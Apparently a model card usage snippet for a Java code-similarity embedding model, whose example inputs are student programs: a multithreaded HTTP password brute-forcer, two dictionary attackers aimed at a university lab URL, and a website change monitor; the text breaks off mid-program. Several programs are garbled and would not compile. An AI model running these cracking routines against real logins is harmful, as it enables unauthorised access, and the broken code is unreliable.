How to use from the
Use from the
sentence-transformers library
from sentence_transformers import SentenceTransformer

model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")

sentences = [
    "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\nimport java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce {\n    \n    \n    \n    public static String Base64Encode(String s) {\n        byte[] bb = s.getBytes();\n        byte[] b  = bb;\n        char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n        '0','1','2','3','4','5','6','7','8','9','+','/' };\n        if (bb.length % 3!=0) {\n            int x1 = bb.length;\n            \n            b = new byte[(x1/3+1)*3];\n            int x2 = b.length;\n            \n            for(int i=0;i<x1;i++)\n                b[i] = bb[i];\n            for(int i=x1;i<x2;i++)\n                b[i] = 0;\n        }\n        \n        char[] c = new char[b.length/3*4];\n        \n        int i=0, j=0;\n        while (i+3<=b.length) {\n            c[j]     = table[(b[i]   >>  2)];\n            c[j+1]   = table[(b[i+1] >>  4) | ((b[i]   &  3) << 4)];\n            c[j+2]   = table[(b[i+2] >>  6) | ((b[i+1] & 15) << 2)];\n            c[j+3]   = table[(b[i+2] &  63)];\n            i+=3;\n            j+=4;\n        }\n        \n        j = c.length-1;\n        while (c[j]=='A') {\n            c[j]='=';\n            j--;\n        }\n        \n        return String.valueOf(c);\n    }\n    \n    \n    public synchronized void getAccumulatedLocalAttempt() {\n        attempt = 0;\n        for (int i=0;i<MAXTHREAD;i++) {\n            attempt += threads[i].getLocalAttempt();\n        }\n    }\n    \n    \n    public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {\n        DecimalFormat fmt = new DecimalFormat();\n        fmt.applyPattern(\"0.00\");\n        \n        System.out.println();\n        System.out.println(\" ------------------------ [ CURRENT STATISTICS ] ---------------------------\");\n        System.out.println();\n        System.out.println(\"  Current connections   : \"+curconn);\n        System.out.println(\"  Current progress      : \"+attempt+ \" of \"+ALLCOMBI+\" (\"+currprogress+\"%)\");\n        System.out.println(\"  Overall Attempts rate : \"+ovrl+\" attempts  second (approx.)\");\n        System.out.println();\n        System.out.println(\" ---------------------------------------------------------------------------\");\n        System.out.println();\n    }\n    \n    \n    public class MyTT extends TimerTask {\n        \n        public synchronized void run() {\n            \n            \n            if (count==REPORT_INTERVAL) {\n                \n                DecimalFormat fmt = new DecimalFormat();\n                fmt.applyPattern(\"0.00\");\n                \n                \n                getAccumulatedLocalAttempt();\n                double p = (double)attempt/(double)ALLCOMBI*100;\n                \n                \n                double aps = (double) (attempt - attm) / REPORT_INTERVAL;\n                \n                \n                attmArr[attmArrIdx++] = aps;\n                \n                \n                printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);\n                count = 0;\n            } else\n                \n                if (count==0) {\n                    getAccumulatedLocalAttempt();\n                    attm = attempt;\n                    count++;\n                } else {\n                    count++;\n                }\n        }\n        \n        \n        public synchronized double getOverallAttemptPerSec() {\n            double val = 0;\n            for (int i=0;i<attmArrIdx;i++) {\n                 val+= attmArr[i];\n            }\n            return val / attmArrIdx;\n        }\n        \n        private int      count = 0;\n        private   int   attm;\n        private int      attmArrIdx = 0;\n        private double[] attmArr = new double[2*60*60/10]; \n    }\n    \n    \n    public synchronized void interruptAll(int ID) {\n        for (int i=0;i<MAXTHREAD;i++) {\n            if ((threads[i].isAlive()) && (i!=ID)) {\n                threads[i].interrupt();\n            }\n            notifyAll();\n        }\n    }\n    \n    \n    \n    public synchronized void setSuccess(int ID, String p) {\n        passw   = p;\n        success = ID;\n        notifyAll();\n        interruptAll(ID);\n        \n        \n        end = System.currentTimeMillis();\n    }\n    \n    \n    public synchronized boolean isSuccess() {\n        return (success>=0);\n    }\n    \n    \n    \n    public synchronized void waitUntilAllTerminated() {\n        while (curconn>0) {\n            try {\n                wait();\n            } catch (InterruptedException e) {}\n        }\n    }\n    \n    \n    \n    \n    public synchronized int waitUntilOK2Connect() {\n        boolean interruptd= false;\n        int idx = -1;\n        \n        \n        \n        \n        while (curconn>=MAXCONN) {\n            try {\n                wait();\n            } catch (InterruptedException e) { interruptd = true; }\n        }\n        \n        \n        \n        if (!interruptd) {\n            \n            curconn++;\n            for (idx=0;idx<MAXCONN;idx++)\n                if (!connused[idx]) {\n                    connused[idx] = true;\n                    break;\n                }\n            \n            notifyAll();\n        }\n        \n        \n        return idx;\n    }\n    \n    \n    public synchronized void decreaseConn(int idx) {\n        curconn--;\n        connused[idx] = false;\n        \n        \n        notifyAll();\n    }\n    \n    \n    public class ThCrack extends Thread {\n        \n        \n        public ThCrack(int threadID, int startidx, int endidx) {\n            super(\" Thread #\"+String.valueOf(threadID)+\": \");\n            this.ID       = threadID;\n            this.startidx = startidx;\n            this.endidx   = endidx;\n            \n            setDaemon(true);\n        }\n        \n        \n        public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {\n            int i ;\n            String msg;\n            \n            \n            URL tryURL = new URL(THEURL);\n            \n            \n            connections[connID]=(HttpURLConnection) tryURL.openConnection();\n            \n            \n            connections[connID].setRequestProperty(\"Authorization\",\" \"+Base64Encode(USERNAME+\":\"+thePass));\n            \n            \n            i = connections[connID].getResponseCode();\n            msg  = connections[connID].getResponseMessage();\n            connections[connID].disconnect();\n            \n            \n            if (i==HttpURLConnection.HTTP_OK) {\n                \n                System.out.println(ID+\"Trying '\"+thePass+\"' GOTCHA !!! (= \"+String.valueOf()+\"-\"+msg+\").\");\n                setSuccess(this.ID,thePass);\n                return (true);\n            } else {\n                \n                System.out.println(ID+\"Trying '\"+thePass+\"' FAILED (= \"+String.valueOf()+\"-\"+msg+\").\");\n                return (false);\n            }\n        }\n        \n        \n        public void rest(int msec) {\n            try { sleep(msec); } catch (InterruptedException e) {}\n        }\n        \n        \n        \n        public String constructPassword( int idx) {\n            int     i = idxLimit.length-2;\n            boolean processed = false;\n             \n            String result = \"\";\n            while (i>=0) {\n                if (idx>=idxLimit[i]) {\n                    int nchar = i + 1;\n                    idx-=idxLimit[i];\n                    for (int j=0;j<nchar;j++) {\n                        x = (idx % NCHAR);\n                        result = charset.charAt((int) x) + result;\n                        idx /= NCHAR;\n                    }\n                    break;\n                }\n                i--;\n            }\n            \n            return result;\n        }\n        \n        \n        public String getStartStr() {\n            return constructPassword(this.startidx);\n        }\n        \n        \n        public String getEndStr() {\n            return constructPassword(this.endidx);\n        }\n        \n        \n        public void run() {\n             i = startidx;\n            boolean keeprunning = true;\n            while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {\n                \n                \n                int idx = waitUntilOK2Connect();\n                \n                \n                if (idx==-1) {\n                    \n                    break;\n                }\n                \n                try {\n                    \n                    launchRequest(getName(), idx, constructPassword(i));\n                    \n                    decreaseConn(idx);\n                    \n                    localattempt++;\n                    \n                    \n                    rest(MAXCONN);\n                    i++;\n                } catch (InterruptedException e) {\n                    \n                    \n                    keeprunning = false;\n                    break;\n                } catch (IOException e) {\n                    \n                    \n                    \n                    \n                    \n                    decreaseConn(idx);\n                }\n            }\n            \n            \n            if (success==this.ID) {\n                waitUntilAllTerminated();\n            }\n        }\n        \n        \n        public int getLocalAttempt() {\n            return localattempt;\n        }\n        \n        private int startidx,endidx;\n        private int ID;\n        private int localattempt = 0;\n    }\n    \n    \n    public void printProgramHeader(String mode,int nThread) {\n        System.out.println();\n        System.out.println(\" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************\");\n        System.out.println();\n        System.out.println(\"  URL         : \"+THEURL);\n        System.out.println(\"  Crack Mode  : \"+mode);\n        System.out.println(\"  Characters  : \"+charset);\n        System.out.println(\"  . Char   : \"+MINCHAR);\n        System.out.println(\"  . Char   : \"+MAXCHAR);\n        System.out.println(\"  # of Thread : \"+nThread);\n        System.out.println(\"  Connections : \"+MAXCONN);\n        System.out.println(\"  All Combi.  : \"+ALLCOMBI);\n        System.out.println();\n        System.out.println(\" ***************************************************************************\");\n        System.out.println();\n    }\n    \n    \n    public void startNaiveCracking() {\n        MAXTHREAD = 1;\n        MAXCONN   = 1;\n        startDistCracking();\n    }\n    \n    \n    public void startDistCracking() {\n         int startidx,endidx;\n        int   thcount;\n        \n        \n        if (isenhanced) {\n            printProgramHeader(\"ENHANCED BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n        } else {\n            printProgramHeader(\"NAIVE BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n        }\n        \n        \n        i = System.currentTimeMillis();\n        \n         idxstart = idxLimit[MINCHAR-1];\n        \n        \n        \n        \n        \n        \n        if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n         mult = (ALLCOMBI - idxstart) / MAXTHREAD;\n        \n        \n        \n        for (thcount=0;thcount<MAXTHREAD-1;thcount++) {\n            startidx = thcount*mult + idxstart;\n            endidx   = (thcount+1)*mult-1 + idxstart;\n            threads[thcount] = new ThCrack(thcount, startidx, endidx);\n            System.out.println(threads[thcount].getName()+\" try  crack from '\"+threads[thcount].getStartStr()+\"'  '\"+threads[thcount].getEndStr()+\"'\");\n        }\n        \n        \n        \n        \n        \n        startidx = (MAXTHREAD-1)*mult + idxstart;\n        endidx   = ALLCOMBI-1;\n        threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);\n        System.out.println(threads[MAXTHREAD-1].getName()+\" try  crack from '\"+threads[MAXTHREAD-1].getStartStr()+\"'  '\"+threads[MAXTHREAD-1].getEndStr()+\"'\");\n        \n        System.out.println();\n        System.out.println(\" ***************************************************************************\");\n        System.out.println();\n        \n        \n        for (int i=0;i<MAXTHREAD;i++)\n            threads[i].print();\n    }\n    \n    \n    public BruteForce() {\n        \n        if (isenhanced) {\n            startDistCracking();\n        } else {\n            startNaiveCracking();\n        }\n        \n        \n        reportTimer  = new java.util.Timer();\n        MyTT      tt = new MyTT();\n        reportTimer.schedule(tt,1000,1000);\n        \n        \n        while ((success==-1) && (attempt<ALLCOMBI)) {\n            try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) {  }\n        }\n        \n        \n        if (success==-1) {\n            end = System.currentTimeMillis();\n        }\n        \n        \n        getAccumulatedLocalAttempt();\n        \n        double ovAps = tt.getOverallAttemptPerSec();\n        DecimalFormat fmt = new DecimalFormat();\n        fmt.applyPattern(\"0.00\");\n        \n        \n        reportTimer.cancel();\n        \n        \n        try { Thread.sleep(1000); } catch (InterruptedException e) {  }\n        \n        \n        synchronized (this) {\n            if (success>=0) {\n                System.out.println();\n                System.out.println(\" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************\");\n                System.out.println();\n                System.out.println(\"  The password is     : \"+passw);\n                System.out.println(\"  Number of attempts  : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n                System.out.println(\"  Attempt position    : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n                System.out.println(\"  Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n                System.out.println(\"  Cracking time       : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n                System.out.println(\"  Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+ \" seconds\");\n                System.out.println();\n                System.out.println(\" ***************************************************************************\");\n                System.out.println();\n            } else {\n                System.out.println();\n                System.out.println(\" ********************* [ UNABLE  CRACK THE URL !!! ] *********************\");\n                System.out.println();\n                System.out.println(\"  Number of attempts  : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n                System.out.println(\"  Attempt position    : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n                System.out.println(\"  Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n                System.out.println(\"  Cracking time       : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n                System.out.println();\n                System.out.println(\" ***************************************************************************\");\n                System.out.println();\n            }\n        }\n    }\n    \n    \n    public static void printSyntax() {\n        System.out.println();\n        System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] [] [username]\");\n        System.out.println();\n        System.out.println(\"   mode     : (opt) 0 - NAIVE Brute force mode\");\n        System.out.println(\"                        (trying from the first  the last combinations)\");\n        System.out.println(\"                    1 - ENHANCED Brute force mode\");\n        System.out.println(\"                        (dividing cracking jobs  multiple threads) (default)\");\n        System.out.println(\"   URL      : (opt) the URL  crack \");\n        System.out.println(\"                    (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n        System.out.println(\"   charset  : (optional) the character set used  crack.\");\n        System.out.println(\"              - (default)\");\n        System.out.println(\"                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n        System.out.println(\"              -alphanum       \");\n        System.out.println(\"                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n        System.out.println(\"              -alphalow       \");\n        System.out.println(\"                 abcdefghijklmnopqrstuvwxyz\");\n        System.out.println(\"              -alphaup        \");\n        System.out.println(\"                 ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n        System.out.println(\"              -number         \");\n        System.out.println(\"                 1234567890\");\n        System.out.println(\"               [custom] e.g. aAbB123\");\n        System.out.println(\"   ,  : (optional) range of characters   applied in the cracking\");\n        System.out.println(\"                         where  1   <=  <= 10  (default  = 1)\");\n        System.out.println(\"                                 <=  <= 10  (default  = 3)\");\n        System.out.println(\"   username : (optional) the username that is used  crack\");\n        System.out.println();\n        System.out.println(\"   NOTE: The optional parameters 'charset','','', and 'username'\");\n        System.out.println(\"         have   specified altogether  none at all.\");\n        System.out.println(\"         For example, if [charset] is specified, then [], [], and\");\n        System.out.println(\"         [username] have   specified as well. If none of them  specified,\");\n        System.out.println(\"         default values   used.\");\n        System.out.println();\n        System.out.println(\"   Example of invocation :\");\n        System.out.println(\"         java BruteForce \");\n        System.out.println(\"         java BruteForce 0\");\n        System.out.println(\"         java BruteForce 1 http://localhost/tryme.php\");\n        System.out.println(\"         java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n        System.out.println(\"         java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n        System.out.println();\n        System.out.println();\n    }\n    \n    \n    \n    \n    \n    \n    \n    \n    public static void countIdxLimit() {\n        idxLimit = new int[MAXCHAR+1];\n        \n        NCHAR    = charset.length();\n        ALLCOMBI = 0;\n        for (int i=0;i<=MAXCHAR;i++) {\n            if (i==0) {\n                idxLimit[i] = 0;\n            } else {\n                idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n            }\n        }\n        \n        ALLCOMBI = idxLimit[idxLimit.length-1];\n    }\n    \n    \n    public static void paramCheck(String[] args) {\n        int argc = args.length;\n        \n        \n        try {\n            switch (Integer.valueOf(args[0]).intValue()) {\n                case 0: {\n                    isenhanced = false;\n                } break;\n               case  1: {\n                    isenhanced = true;\n                } break;\n                default:\n                    System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n                    printSyntax();\n                    System.exit(1);\n            }\n        } catch (NumberFormatException e) {\n            System.out.println(\"Syntax error : invalid number '\"+args[0]+\"'\");\n            printSyntax();\n            System.exit(1);\n        }\n        \n        if (argc>1) {\n            try {\n                \n                URL u  = new URL(args[1]);\n                \n                \n                try {\n                    HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n                    \n                    switch (conn.getResponseCode()) {\n                        case HttpURLConnection.HTTP_ACCEPTED:\n                       case  HttpURLConnection.HTTP_OK:\n                       case  HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n                       case  HttpURLConnection.HTTP_FORBIDDEN:\n                       case  HttpURLConnection.HTTP_UNAUTHORIZED:\n                            break;\n                        default:\n                            \n                            \n                            System.out.println(\"Unable  open connection  the URL '\"+args[1]+\"'\");\n                            System.exit(1);\n                    }\n                } catch (IOException e) {\n                    System.out.println(e);\n                    System.exit(1);\n                }\n                \n                THEURL = args[1];\n            } catch (MalformedURLException e) {\n                \n                System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n                printSyntax();\n                System.exit(1);\n            }\n        }\n        \n        \n        if (argc==6) {\n            try {\n                MINCHAR = Integer.valueOf(args[3]).intValue();\n            } catch (NumberFormatException e) {\n                System.out.println(\"Invalid  range number value '\"+args[3]+\"'\");\n                printSyntax();\n                System.exit(1);\n            }\n            \n            try {\n                MAXCHAR = Integer.valueOf(args[4]).intValue();\n            } catch (NumberFormatException e) {\n                System.out.println(\"Invalid  range number value '\"+args[4]+\"'\");\n                printSyntax();\n                System.exit(1);\n            }\n            \n            if ((MINCHAR<1) || (MINCHAR>10)) {\n                System.out.println(\"Invalid  range number value '\"+args[3]+\"' (must between 0 and 10)\");\n                printSyntax();\n                System.exit(1);\n            } else\n                if (MINCHAR>MAXCHAR) {\n                    System.out.println(\"Invalid  range number value '\"+args[3]+\"' (must lower than the  value)\");\n                    printSyntax();\n                    System.exit(1);\n                }\n            \n            if (MAXCHAR>10) {\n                System.out.println(\"Invalid  range number value '\"+args[4]+\"' (must between  value and 10)\");\n                printSyntax();\n                System.exit(1);\n            }\n            \n            if (args[2].toLowerCase().equals(\"-\")) {\n                charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n            } else\n                if (args[2].toLowerCase().equals(\"-alphanum\")) {\n                    charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\";\n                } else\n                    if (args[2].toLowerCase().equals(\"-alphalow\")) {\n                        charset = \"abcdefghijklmnopqrstuvwxyz\";\n                    } else\n                        if (args[2].toLowerCase().equals(\"-alphaup\")) {\n                            charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n                        } else\n                            if (args[2].toLowerCase().equals(\"-number\")) {\n                                charset = \"1234567890\";\n                            } else {\n                                charset = args[2];\n                            }\n            \n            USERNAME = args[5];\n        } else\n            if ((argc>2) && (argc<6)) {\n                System.out.println(\"Please specify the [charset], [], [], and [username] altogether  none at all\");\n                printSyntax();\n                System.exit(1);\n            } else\n                if ((argc>2) && (argc>6)) {\n                    System.out.println(\"The number of parameters expected is not more than 6. \");\n                    System.out.println(\" have specified more than 6 parameters.\");\n                    printSyntax();\n                    System.exit(1);\n                }\n    }\n    \n    public static void main (String[] args) {\n        \n        charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n        MINCHAR = 1;\n        MAXCHAR = 3;\n        \n        \n        if (args.length==0) {\n            args    = new String[6];\n            args[0] = String.valueOf(1); \n            args[1] = THEURL;\n            args[2] = \"-\";\n            args[3] = String.valueOf(MINCHAR);\n            args[4] = String.valueOf(MAXCHAR);\n            args[5] = USERNAME;\n        }\n        \n        \n        paramCheck(args);\n        \n        countIdxLimit();\n        \n        \n        Application = new BruteForce();\n    }\n    \n    public static BruteForce Application;\n    public static String    THEURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n    public static boolean   isenhanced; \n    public static String    passw  = \"\";   \n    \n    public static final int REPORT_INTERVAL = 10; \n    public static int       MAXTHREAD =  50;      \n    public static int       MAXCONN   =  50;      \n    public static int\t    curconn   =   0;      \n    public static int       success   =  -1;      \n    \n    public static String    USERNAME = \"\";  \n    public static int       MINCHAR;              \n    public static int       MAXCHAR;              \n    public static  int     ALLCOMBI;             \n    \n    public static   int start   ,end;            \n    \n    \n    public static java.util.Timer   reportTimer; \n    public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; \n    public static boolean\t    connused[]    = new boolean[MAXCONN];           \n    public        ThCrack[] threads               = new ThCrack[MAXTHREAD];         \n    public static    int   attempt               = 0; \n    public static int    idxLimit; \n    public static String    charset;  \n    public static int       NCHAR;    \n}\n",
    "\nimport java.util.*;\n\npublic class Dictionary {\n\n    private String strUsername;\n    private String strURL;\n    \n    \n    public Dictionary(String username, String url)\n    {\n        strUsername = username;\n        strURL = url;\n    }    \n    \n    public void run() {\n        Date dtStart, dtEnd;\n        \n        PasswordFile pwd = new PasswordFile(\"/usr/dict/words\");\n        PasswordTest tester;\n        int i=1;\n        boolean bDone = false;\n        Result res;\n\n        dtStart = new Date();\n        while(!bDone) {\n            tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());\n        \n            bDone = tester;\n            i++;\n            if(bDone) {\n                \n                res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);\n                System.out.print(res.toString());\n            }\n            else\n            {\n                \n            }\n            \n            \n            if(pwd.getPassword() == null)\n            {\n                System.out.println(\"Exhausted word file without finding password\");\n                bDone = true;\n            }\n        }    \n     \n    }    \n    \n    \n    public static void main(String[] args) {\n        \n        \n        \n        \n        Dictionary dict = new Dictionary(\"\", \"http://sec-crack.cs.rmit.edu./SEC/2/\");\n             \n        dict.run();\n    }\n    \n}\n",
    "\n\nimport java.text.*;  \nimport java.util.*;  \nimport java.net.*;  \nimport java.io.*;  \n\npublic class Dictionary {  \n\n   public int runProcess(String urlString,String passwd) {  \n\n       System.out.println(\"Checking password: ... \" + passwd);\n\n       int returnval = 0;\n       MyAuthenticator auth = new MyAuthenticator(passwd);\n       Authenticator.setDefault(auth);\n\n       try{\n\n            URL yahoo = new URL(urlString); \n            BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n            String inputLine;\n\n            while ((inputLine = in.readLine()) != null) {\n\t       System.out.println(inputLine);\n\t       System.out.println(\"password: \" + passwd);\n               returnval = 1;\n            }\n\n\t    in.print();\n\n          }catch(Exception e){ returnval = 0;}\n\n       return returnval;\n   }\n\n   public static void main (String argv[]) {  \n\n      int retval = 0;\n      String pwd = \"\";\n      String inFile = \"/usr/share/lib/dict/words\";\n      BufferedReader in = null;\n      String line1 =\"\";\n\n      try {\n      \n        Dictionary s = new Dictionary();  \n        String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n        in = new BufferedReader(new FileReader(inFile));   \n\n        while ((line1=in.readLine()) != null) {\n\n          retval = 0;\n          pwd = line1;\n          retval = s.runProcess(urlToSearch,pwd);  \n          if (retval > 0) {\n             System.exit(0);\n          }\n        }\n      }catch(Exception e)\n          { e.printStackTrace();}\n    \n    }  \n}     \n",
    "\n\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\nimport java.net.*;\n\npublic class WatchDog\n{\n\n   static Process p = null;\n   static Process qproc = null;\n\n   static BufferedReader bf = null;\n   static StringTokenizer tok = null;\n\n   static String Path = null;\n   static String str = null;\n   static String urlStr=null;\n   static boolean changed = false;\n\n   static File indexfile = new File(\"index.html\");\n   static File tmpfile = new File(\"tmpindex.html\");\n   static File mdfile = new File(\"md5file.txt\");\n   static File tmpmdfile = new File(\"tmpmd5file.txt\");\n   static PrintWriter mailwriter = null;\n\n\n   public static void main (String[] args) \n   {\n\n      urlStr = \"http://www.cs.rmit.edu./\";\n\n      try\n      {\n         \n         mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(\"tomail.txt\", false)));\n\n         getLatest(urlStr);\n         parseFile(); \n\n         mailwriter.read();\n\n         if(changed)\n         {\n            System.out.println(\"Sending Mail\");\n            p = Runtime.getRuntime().exec(\"./mailscript\");\n            p.waitFor();\n\n         }\n         else\n            System.out.println(\" mail sent\");\n\n      }  catch (IOException ioe)\n         {\n            System.out.println(\"IOException\");\n            ioe.printStackTrace();\n         }\n         catch (InterruptedException intex)\n         {\n            System.out.println(\"Interrupted Exception\");\n            intex.printStackTrace();\n         }\n\n\n   }\n\n\n   static void getLatest(String urlStr)\n   { \n      \n      URL url = null;\n      \n      try\n      {\n         url = new URL(urlStr);\n\n      } catch (MalformedURLException mfurl)\n        {\n           System.out.println(\"Malformed URL\");\n           mfurl.printStackTrace();\n        }\n\n      try\n      {\n         mailwriter.println();\n\n         p = Runtime.getRuntime().exec(\"/usr//pwd\"); \n         p.waitFor();\n         bf= new BufferedReader(new InputStreamReader(\n                          p.getInputStream()));\n\n         Path=bf.readLine();\n\n         if (indexfile.exists())\n         {\n            mailwriter.println(\"File with name 'index.html' found in directory.\");\n            mailwriter.println(\"Renaming existing 'index.html'  'tmpindex.html...\");\n            p = Runtime.getRuntime().exec(\"/usr//mv \"+indexfile+ \" \" + Path+\"/\"+tmpfile);\n            p.waitFor();\n            p = Runtime.getRuntime().exec(\"/usr//mv \"+mdfile+ \" \" + Path+\"/\"+tmpmdfile);\n            mailwriter.println();\n            mailwriter.println(\"File with name 'md5file.txt' found in directory.\");\n            mailwriter.print(\"Renaming existing 'md5file.txt'  'tmpmd5file.txt...\");\n\n            mailwriter.println(\".\");\n\n            mailwriter.println();\n         }\n\n         mailwriter.println(\"Downloading current version of site - \" + urlStr);\n         p = Runtime.getRuntime().exec(\"/usr/local//wget \"+url);\n         p.waitFor();\n         if (!tmpfile.exists())\n         {\n            mailwriter.println(\"File - \" + urlStr + \"index.html saved  disk for the first time.\");\n         }\n\n\n      } catch (IOException ioe)\n        {\n           System.out.println(\"IOException\");\n           ioe.printStackTrace();\n        }\n        catch (IndexOutOfBoundsException iobe)\n        {\n           System.out.println(\"Index Out Of Bounds Exception\");\n           iobe.printStackTrace();\n        }\n        catch (Exception e)\n        {\n           System.out.println(\"Exception\");\n           e.printStackTrace();\n        }\n   }\n\n   static void parseFile()\n   {\n\n      Vector imgVect = new Vector();\n\n      try\n      {\n         p = Runtime.getRuntime().exec(\"/usr//grep img \" + Path + \"/\"+ indexfile);\n         p.waitFor();\n        bf = new BufferedReader(new InputStreamReader(\n                          p.getInputStream()));\n\n         while((str=bf.readLine())!=null)\n         {\n            bf = new StringTokenizer(str, \"\\\"\", false);\n          \n            while(bf.hasMoreTokens())\n            {\n               str=bf.nextToken();\n               if ((str.indexOf(\"gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n                  imgVect.addElement(str);\n            }\n           \n         }\n\n      }catch (IOException ioe)\n        {\n           System.out.println(\"IOException\");\n           ioe.printStackTrace();\n        }\n        catch (Exception e)\n        {\n           System.out.println(\"Exception\");\n           e.printStackTrace();\n        }\n\n        mailwriter.println(\"Creating file with md5sums of the webpage and images...\");\n        md5Create(imgVect);\n\n   }\n\n   static void md5Create(Vector imgVect)\n   {\n      String tmpString = null;\n      Vector imgNames = new Vector();\n\n      try\n      {\n         PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));\n \n         p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+indexfile);\n         p.waitFor();\n         bf= new BufferedReader(new InputStreamReader(\n                          p.getInputStream()));\n         pr.println(bf.readLine());\n   \n         for(int i=0; i<imgVect.size();i++)\n         {\n            imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);\n            imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);\n\n            p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+(String)imgNames.elementAt(i));\n            p.waitFor();\n            bf= new BufferedReader(new InputStreamReader(\n                          p.getInputStream()));\n            pr.println(bf.readLine());\n            rmImgFile(Path+\"/\"+(String)imgNames.elementAt(i));\n         }\n         pr.get();\n\n      }  catch (IOException ioe)\n         {\n            System.out.println(\"IOException\");\n            ioe.printStackTrace();\n         }\n         catch (InterruptedException intex)\n         {\n            System.out.println(\"Interrupted Exception\");\n            intex.printStackTrace();\n         }\n\n      if (tmpmdfile.exists())\n         compVersions((imgVect.size())+1);\n\n   }\n\n   static void compVersions(int numlines)\n   {\n\n      int tmp = 0;\n      int x = 0;\n      String[] md5A = new String[numlines];\n      Vector tmpmd5V = new Vector(); \n                                     \n                                     \n      String[] tmpmd5A = null;\n      StringTokenizer stoken  = null;\n      String mdImgName = null;\n      String mdImgVal = null;\n      String tmpImgName = null;\n      String tmpImgVal = null;\n\n      try\n      {\n\n         bf = new BufferedReader(new FileReader(mdfile));\n\n         while((str = bf.readLine()) != null)\n         {\n            md5A[tmp]=str;\n            tmp++;\n         }\n\n         bf = new BufferedReader(new FileReader(tmpmdfile));\n         tmp=0;\n\n         while ((str = bf.readLine()) !=null)\n         {\n            tmpmd5V.addElement(str);\n            tmp++;\n         }\n\n         tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);   \n\n         if (tmpmd5A[0].compareTo(md5A[0]) != 0)\n         {\n            mailwriter.println(\"---The file index.html has changed.---\");\n            mailwriter.println(\"-Diff of old and new -\");\n            changed=true;\n            mailwriter.println();\n            p=Runtime.getRuntime().exec(\"/usr/local//diff index.html tmpindex.html\");\n            p.waitFor();\n             bf= new BufferedReader(new InputStreamReader(p.getInputStream()));\n\n            while ((str = bf.readLine()) != null)\n               mailwriter.println(str);\n\n         }\n         else\n         {\n            mailwriter.println(\"The file index.html hasn't changed.\");\n            mailwriter.println();\n         }\n\n         mailwriter.println();\n         mailwriter.println(\"Changes  Images\");\n         mailwriter.println(\"-----------------\");\n\n\n         \n\n         for (tmp=1; tmp<md5A.length; tmp++) \n         {\n            stoken = new StringTokenizer(md5A[tmp]);\n            mdImgVal = stoken.nextToken();\n            mdImgName = stoken.nextToken();\n            for (x=1; x<tmpmd5A.length; x++)\n            {\n               stoken = new StringTokenizer(tmpmd5A[x]);\n               tmpImgVal = stoken.nextToken();\n               tmpImgName = stoken.nextToken();\n\n               if (mdImgName.compareTo(tmpImgName) == 0)\n               {\n                  if(mdImgVal.compareTo(tmpImgVal) == 0)\n                  {\n                     \n                     break;\n                  }\n                  else\n                  {\n                     mailwriter.println(\"The image \"+mdImgName+\" has changed.\");\n                     changed=true;\n                     break;\n                  }\n               }\n               if (x == ((tmpmd5A.length)-1))\n               